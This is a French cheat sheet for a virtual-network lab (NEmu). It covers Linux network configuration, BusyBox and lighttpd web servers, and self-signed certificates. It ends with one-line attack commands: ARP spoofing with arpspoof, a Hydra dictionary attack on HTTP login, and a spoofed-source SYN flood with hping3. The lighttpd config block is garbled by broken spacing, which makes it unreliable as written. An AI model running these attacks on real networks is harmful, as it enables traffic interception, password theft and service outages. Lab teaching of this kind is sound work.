Lancer et gérer le réseau virtuel (NEmu)

Lancer le réseau virtuel	/mnt/netta/apps/vnet/nemu-vnet netadm
Restaurer un réseau virtuel sauvegardé	/mnt/netta/apps/vnet/nemu-restore ~/vnet/netadm.tgz
Quitter le réseau virtuel	quit()
Sauvegarder le réseau virtuel	save()
Redémarrer tout le réseau	reboot()
Redémarrer une machine spécifique	RebootVNode("<nom de la VM>")

Gestion des utilisateurs

Changer le mot de passe root	passwd <login>
Ajouter un nouvel utilisateur	adduser <login>
Se connecter en tant qu'utilisateur	login <login>
Revenir au compte administrateur	exit

Gestion du système

Changer le nom de la machine	hostname <name>

Modifier /etc/hostname pour renommer la machine de façon permanente.

Configuration réseau avec ifconfig

Configurer une interface	ifconfig <iface> <@IP> netmask <netmask>
Lister les interfaces	ifconfig -a
Allumer une interface	ifconfig <iface> up
Eteindre une interface	ifconfig <iface> down
Ajouter une passerelle par défaut	route add default gw <@IP passerelle>

Configuration réseau avec ip

Lister toutes les interfaces	ip -br addr
Configurer une interface	ip addr add <@IP>/<netmask> dev <iface>
Activer une interface	ip link set <iface> up
Eteindre une interface	ip link set <iface> down
Ajouter une passerelle par défaut	ip route add default via <@IP passerelle>

Test de configuration

Tester la connectivité réseau :	ping <destination>
Tracer le chemin des paquets avec traceroute	traceroute <destination>

Pensez à activer Activer le transfert de paquets :
echo 1 > /proc/sys/net/ipv4/ip_forward sur le routeur

Configuration IP permanente

Ajouter une configuration statique dan dans /etc/network/interfaces
auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0
gateway 192.168.0.254
echo 1 > /proc/sys/net/ipv4/ip_forward (si routeur)

Pensez à démarrer ou éteindre l'interface

Manipulation de fichiers réseau

Modifier le fichier /etc/hosts pour associer un nom à une IP :
nano /etc/hosts

Capture réseau

Lancer Wireshark pour capturer le trafic	wireshark -i eth0 -k

Serveur Web

Lancer un serveur web avec Busybox	busybox httpd -f -vv -h /var/www/html
Ajouter une authentification	echo "<username>:$(busybox httpd -m '<password>')" > /etc/httpd.conf
Relance le serveur web	busybox httpd -f -vv -h /var/www/html -r "-Restricted Area:" -c /etc/httpd.conf

Il faut créer une page index.html dans /var/www/html

Serveur HTTPS

Crée un répertoire de configuration	mkdir /etc/lighttpd/security
Créer une clé privée et un certificat auto-signé	openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out <nom>.crt -keyout <nom>.key
Créer un fichier pem	cat <nom>.key <nom>.crt > <nom>.pem
Démarrer un service (lighttpd ici)	systemctl start <service>
Vérifier le statut d'un service	systemctl status <service>

A ECRIRE DANS /etc/lighttpd/conf-enabled/tls.conf

```
server.modules += ("mod_openssl")
$SERVE R["s ock et"] == " 0.0.0.0 :4 43" {
          ssl.engine = " ena ble "
          ssl.pe mfile = " /et c/l igh ttp d/s -
ecu rit y/a lce st.p em "
}
server.mo dules += ( " mod _au th", " mod _au thn -
_fi le")
auth.b ackend = " htp ass wd"
auth.b ack end.ht pas swd.us erfile = " /et c/l -
igh ttp d/s ecu rit y/<auth
file>"
auth.r equire = ( " /" =>
       (
        " met hod " => " bas ic",
        " rea lm" => " pas sword requir ed",
        " req uir e" => " val id- use r"
       )
)
```

Commandes ARP

Consulter la table ARP	arp -n ou ip neigh

Man in the Middle (MITM)

Lancer une attaque ARP spoofing	arpspoof -t <@IP victime> <@IP passerelle>

Pensez à activer l'IP forwarding echo 1 > /proc/sys/net/ipv4/ip_forward

Attaque par dictionnaire

Lancer une attaque par dictionnaire avec Hydra	hydra -V -f -l admin -P <fichier de mots de passe> http-get://<IP cible>

Attaque Deny Of Services (DOS)

Lance une attaque DOS sur la victime avec une IP usurpée	hping3 --flood --syn --spoof <@IP source usurpée> <@IP victime>